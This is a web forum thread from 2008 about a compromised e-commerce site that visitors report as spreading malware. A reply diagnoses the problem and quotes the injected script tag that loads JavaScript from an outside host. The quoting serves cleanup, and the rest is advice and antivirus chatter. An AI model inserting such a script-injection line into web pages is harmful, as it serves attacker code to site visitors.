Reply
reported malware infection on a website
Old 03-10-2008, 01:15 AM reported malware infection on a website
ddvvns's Avatar
Experienced Talker

Posts: 32
Name: Val Saidor
Hi all,

I have a client www.onlinekitchen.com.au who is getting heaps of clients reporting that the website is infected with malware and is trying to install it on the visitors sites.

the website is a asp.net commercial content management system with VPASP shopping cart. I have 2 different antivirus software packages on my systems (norton and trend micro) and I do not get any warnings while browsing the site.

I have asked the hosting company to run antivirus on the web folders and used:
http://www.siteadvisor.com/sites/onlinekitchen.com.au

http://linkscanner.explabs.com/linkscanner/checksite.asp?NS=ChkOnly&SRC=apps.ExpLabs.com&CS=h ttp://www.onlinekitchen.com.auand found no errors or warnings...

At the same time I have Acunetix web volnurability scanner running in extensive mode with no warnings!!!
Every day there are new messages from visitors in this regards one of which has stated that the virus is JS.Psyme.

It looks like I am out of options in looking for a solution - please help!
All advice and suggestions are welcome.

Thank you,
Val Saidor

< link drop removed >

Last edited by chrishirst : 03-10-2008 at 02:44 PM.
ddvvns is offline
Reply With Quote
View Public Profile Visit ddvvns's homepage!
 
When You Register, These Ads Go Away!
     
Old 03-10-2008, 01:26 AM Re: reported malware infection on a website
ADAM Web Design's Avatar
Canadastaninianite

Posts: 5,945
Name: Adam for web page design, not program
Location: Toronto, Ontario, Canada
Is that actually your signature? It doesn't look like it's below the signature line.

They're telling you the truth. On this page, I got a virus alert. DO NOT CLICK THE LINK BELOW UNLESS YOU'RE PREPARED TO DEAL WITH THIS VIRUS AND ITS CONSEQUENCES:

http://www.onlinekitchen.com.au/vsho...=145&cat=Bamix

Code:
<SCRIPT src="http://b.njnk.net/E/J.JS"></SCRIPT>
You need to find that line of code, remove it, and then either find a better shopping cart system or build your own (likely the latter, since most if not all shopping cart systems tend to be exploited more rapidly).

The other thing you'll want to do is clean up a lot of the code that the CMS is generating (a lot of MS-proprietary HTML code is kicking around on your home page, among other places.)

You've got some work ahead of you, dude. Pack a lunchbox.

Last edited by ADAM Web Design : 03-10-2008 at 01:28 AM.
ADAM Web Design is offline
Reply With Quote
View Public Profile Visit ADAM Web Design's homepage!
 
Old 03-10-2008, 01:37 AM Re: reported malware infection on a website
ddvvns's Avatar
Experienced Talker

Posts: 32
Name: Val Saidor
Great advice - thank you.
I have clicked on hunreds of pages from then website and found no issues and now I know where the @#$%@# is!!!

Once again thank you.
ddvvns is offline
Reply With Quote
View Public Profile Visit ddvvns's homepage!
 
Old 03-10-2008, 01:47 AM Re: reported malware infection on a website
ADAM Web Design's Avatar
Canadastaninianite

Posts: 5,945
Name: Adam for web page design, not program
Location: Toronto, Ontario, Canada
Don't thank me. Thank Avast (one of the two top AV scanners available, and it's legit free).
ADAM Web Design is offline
Reply With Quote
View Public Profile Visit ADAM Web Design's homepage!
 
Old 03-10-2008, 05:04 AM Re: reported malware infection on a website
ddvvns's Avatar
Experienced Talker

Posts: 32
Name: Val Saidor
It must be embarrasing for a $39.00 software to do better then $5,500
ddvvns is offline
Reply With Quote
View Public Profile Visit ddvvns's homepage!
 
Old 03-10-2008, 02:46 PM Re: reported malware infection on a website
chrishirst's Avatar
Super Moderator

Posts: 11,466
Location: Blackpool. UK
Norton don't seem to think so, otherwise they would improve their software quite a lot.
__________________
Chris. ->> Links are advertising NOT optimising!! <<-
Indifference will be the downfall of mankind, but who cares?
Code Samples | People Counting System
chrishirst is offline
Reply With Quote
View Public Profile Visit chrishirst's homepage!
 
Reply     « Reply to reported malware infection on a website
 

Thread Tools

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

vB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are Off
Pingbacks are Off
Refbacks are Off




   
RSS Feed  Feeds: RSS   JS   XML
RSS Feed  Feeds for this forum: RSS   JS   XML

 


Page generated in 0.13649 seconds with 13 queries